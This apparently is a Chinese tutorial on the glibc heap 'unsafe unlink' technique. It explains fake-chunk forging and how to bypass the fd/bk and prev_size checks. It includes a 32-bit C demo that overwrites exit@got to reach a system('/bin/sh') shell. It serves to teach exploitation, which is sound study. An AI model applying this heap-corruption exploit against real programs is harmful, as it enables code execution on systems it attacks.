前文Linux 堆介绍了Linux的堆管理策略,这篇文章就介绍一下堆的溢出攻击方式之一:unsafe unlink.

概述

从前文我们可以了解到这个关键点:free一个chunk时,若与该chunk物理相邻的前/后堆块也为空闲状态,那么便会分别触发向后合并/向前合并,即unlink.

1
2
3
4
5
fd = p->fd;
bk = p->bk;

fd->bk = bk;
bk->fd = fd;

攻击原理

示意图:chunkA->chunkB

ChunkA = prev_size | chunksize&flag | content

ChunkB = prev_size | chunkSize&flag | content

如果此时chunkA存在堆溢出漏洞,那么我们便可将精心构造的数据写入chunkB.

故攻击如下:

在chunkA中设置一个fakeChunk,并修改chunkB的flag指针为0(即前一个chunk处于空闲状态)。那么在我们free(chunkB)时,堆管理器就会将chunkB和我们的fakeChunk合并。从而触发一次任意的写操作:bk->fd = fd. 只要我们再让bk->fd等于任意函数的got地址或者其他后续会被调用的东西,fd设置为shellcode地址。那么之后该函数的具体实现就会被替换为我们的shellcode

这里其实有个小tips,那就是堆管理器如何根据当前堆块的指针确定上一个堆块的位置呢?答案是prev_size+pointer。

绕过glibc的安全防护:

因为存在double free以及内存腐败的问题,因此glibc推出了一系列的机制去检测free时该内存块是否正确。

  • p->fd->bk = p && p->bk->fd = p
  • b.prev_size = a.chunkSize

针对第一个问题,我们要做的就是找到一个指向堆的指针,然后让我们的fakeFD = pointer -3 sizeof(uint_32), fakeBK = pointer - 2 sizeof(uint_32).即,分别减去0xc和0x8,在64位的系统系统上分别为0x18和0x10.

这是为啥呢?

其实是因为取fd的地址实际就是找fd相对于p的偏移,取bk得地址实际就是找bk相对于p的偏移。那偏移怎么算?fakeFD和p中间隔了fake_chunksize(p == fake_prev_size),自己是p + 4。fakeBK与p隔了chunksize、fakefd,自己是p + 4 * 2.

第二个问题就简单多了,我们只需要覆盖chunkB的prev_size == fakeChunk的size,chunkB的flag第一位 == 0就搞定了

Vulunerable Demo & exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void getShell()
{
system("/bin/sh");
}

// 之所以创建一个全局数组,是为了模拟真实场景。
// 一般创建chunk后,都会把它交给一个全局的chunkList去管理和获取
uint32_t *chunkList[4];


int main()
{

int malloc_size = 0x80;
int header_size = 2;


// Fake
uint32_t *chunk0 = (uint32_t)malloc(malloc_size);
chunkList[0] = chunk0;

uint32_t *chunk1 = (uint32_t)malloc(malloc_size);
chunkList[1] = chunk1;

printf("chunk0 address is : %p\n", &chunk0);
printf("chunk1 address is : %p\n", &chunk1);

// Get chunk and attack it.
uint32_t *getChunk0 = chunkList[0];
uint32_t *getChunk1 = chunkList[1];

// Set chunk0->fd && chunk0->bk
getChunk0[2] = (uint32_t)&getChunk0 - 0xc; // (sizeof(uint32_t) * 3);
getChunk0[3] = (uint32_t)&getChunk0 - 0x8; // (sizeof(uint32_t) * 2);

// Set chunk1 prev_size && clear flag
uint32_t *chunk1_hdr = chunk1 - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;


// free chunk1 and trigger unlink.
// After this, chunk0->bk = chunk0
free(getChunk1);

// So we just need set bk = exit@got and chunk0 = &getShell
getChunk0[3] = 0x0804a020; // exit@got
getChunk0[0] = &getShell;

// Excute exit and it will jump to getShell
exit(0);

return 0;
}

编译:

1
gcc -o vulnerability_unsafelink vulnerability_unsafelink.c  -g -w

获得exit@got:结果为0x0804a020

1
objdump -R vulnerability_unsafelink

执行:

run result